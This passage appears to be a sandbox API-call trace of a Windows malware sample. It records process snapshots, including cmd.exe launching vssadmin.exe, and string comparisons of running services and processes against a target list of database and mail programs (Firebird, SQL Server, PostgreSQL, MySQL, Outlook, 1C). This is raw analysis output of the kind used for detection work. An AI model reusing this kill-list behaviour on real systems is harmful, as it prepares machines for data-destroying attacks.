lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.256] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.256] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0051.256] lstrlenW (lpString="chrome64b.exe") returned 13 [0051.256] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.257] lstrlenW (lpString="cmd.exe") returned 7 [0051.257] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.258] lstrlenW (lpString="conhost.exe") returned 11 [0051.258] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0051.258] lstrlenW (lpString="vssadmin.exe") returned 12 [0051.258] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0051.260] lstrlenW (lpString="VSSVC.exe") returned 9 [0051.260] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.260] lstrlenW (lpString="svchost.exe") returned 11 [0051.260] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0051.261] CloseHandle (hObject=0x17c) returned 1 [0051.261] Sleep (dwMilliseconds=0x1f4) [0051.936] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66f660 [0051.937] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0051.937] GetLastError () returned 0xea [0051.937] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0051.937] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0051.938] CloseServiceHandle (hSCObject=0x66f660) returned 1 [0051.938] lstrlenW (lpString="Appinfo") returned 7 [0051.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0051.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0051.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0051.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0051.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0051.938] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0051.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.939] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0051.939] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0051.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0051.939] lstrlenW (lpString="AudioSrv") returned 8 [0051.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0051.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0051.939] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0051.939] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0051.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0051.939] lstrlenW (lpString="BFE") returned 3 [0051.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0051.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0051.939] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0051.939] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0051.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0051.939] lstrlenW (lpString="CryptSvc") returned 8 [0051.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0051.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0051.939] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0051.939] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0051.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0051.939] lstrlenW (lpString="CscService") returned 10 [0051.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0051.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0051.939] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0051.939] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0051.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0051.939] lstrlenW (lpString="DcomLaunch") returned 10 [0051.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.940] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0051.940] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0051.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0051.940] lstrlenW (lpString="Dhcp") returned 4 [0051.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0051.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0051.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0051.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0051.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0051.940] lstrlenW (lpString="Dnscache") returned 8 [0051.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0051.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0051.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0051.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0051.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0051.940] lstrlenW (lpString="DPS") returned 3 [0051.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0051.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0051.940] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0051.940] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0051.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0051.940] lstrlenW (lpString="eventlog") returned 8 [0051.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0051.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0051.940] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0051.940] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0051.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0051.941] lstrlenW (lpString="EventSystem") returned 11 [0051.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0051.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0051.941] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0051.941] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0051.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0051.941] lstrlenW (lpString="gpsvc") returned 5 [0051.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0051.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0051.941] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0051.941] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0051.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0051.941] lstrlenW (lpString="iphlpsvc") returned 8 [0051.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.941] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0051.941] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0051.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0051.941] lstrlenW (lpString="LanmanServer") returned 12 [0051.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0051.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0051.941] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0051.941] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0051.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0051.941] lstrlenW (lpString="LanmanWorkstation") returned 17 [0051.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.941] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0051.941] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0051.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0051.942] lstrlenW (lpString="lmhosts") returned 7 [0051.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0051.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0051.942] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0051.942] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0051.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0051.942] lstrlenW (lpString="MMCSS") returned 5 [0051.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0051.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0051.942] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0051.942] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0051.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0051.942] lstrlenW (lpString="MpsSvc") returned 6 [0051.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0051.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0051.942] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0051.942] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0051.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0051.942] lstrlenW (lpString="Netman") returned 6 [0051.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0051.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0051.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0051.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0051.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0051.942] lstrlenW (lpString="netprofm") returned 8 [0051.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0051.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0051.942] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0051.943] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0051.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0051.943] lstrlenW (lpString="NlaSvc") returned 6 [0051.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0051.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0051.943] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0051.943] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0051.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0051.943] lstrlenW (lpString="nsi") returned 3 [0051.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0051.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0051.943] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0051.943] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0051.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0051.943] lstrlenW (lpString="PcaSvc") returned 6 [0051.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0051.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0051.943] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0051.943] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0051.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0051.943] lstrlenW (lpString="PlugPlay") returned 8 [0051.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0051.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0051.943] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0051.943] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0051.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0051.943] lstrlenW (lpString="Power") returned 5 [0051.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0051.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0051.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0051.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0051.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0051.944] lstrlenW (lpString="ProfSvc") returned 7 [0051.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0051.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0051.944] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0051.944] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0051.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0051.944] lstrlenW (lpString="RpcEptMapper") returned 12 [0051.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.944] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0051.944] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0051.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0051.944] lstrlenW (lpString="RpcSs") returned 5 [0051.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0051.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0051.944] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0051.944] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0051.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0051.944] lstrlenW (lpString="SamSs") returned 5 [0051.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0051.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0051.944] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0051.944] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0051.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0051.944] lstrlenW (lpString="Schedule") returned 8 [0051.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0051.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0051.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0051.945] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0051.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0051.945] lstrlenW (lpString="SENS") returned 4 [0051.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0051.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0051.945] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0051.945] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0051.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0051.945] lstrlenW (lpString="ShellHWDetection") returned 16 [0051.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.945] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0051.945] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0051.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0051.945] lstrlenW (lpString="Spooler") returned 7 [0051.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0051.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0051.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0051.945] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0051.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0051.945] lstrlenW (lpString="swprv") returned 5 [0051.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0051.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0051.945] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0051.945] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0051.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0051.945] lstrlenW (lpString="SysMain") returned 7 [0051.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0051.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0051.946] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0051.946] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0051.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0051.946] lstrlenW (lpString="Themes") returned 6 [0051.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0051.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0051.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0051.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0051.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0051.946] lstrlenW (lpString="TrkWks") returned 6 [0051.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0051.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0051.946] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0051.946] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0051.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0051.946] lstrlenW (lpString="UxSms") returned 5 [0051.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0051.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0051.946] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0051.946] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0051.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0051.946] lstrlenW (lpString="VSS") returned 3 [0051.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0051.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0051.946] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0051.946] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0051.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0051.947] lstrlenW (lpString="WdiServiceHost") returned 14 [0051.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.947] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0051.947] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0051.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0051.947] lstrlenW (lpString="WdiSystemHost") returned 13 [0051.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.947] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0051.947] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0051.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0051.947] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0051.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.947] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0051.947] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0051.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0051.947] lstrlenW (lpString="Winmgmt") returned 7 [0051.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0051.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0051.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0051.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0051.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0051.947] lstrlenW (lpString="WPDBusEnum") returned 10 [0051.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.947] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0051.948] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0051.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0051.948] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0051.948] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0051.951] Process32FirstW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.952] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.952] lstrlenW (lpString="System") returned 6 [0051.952] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0051.952] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0051.952] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0051.953] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0051.953] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0051.953] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0051.953] 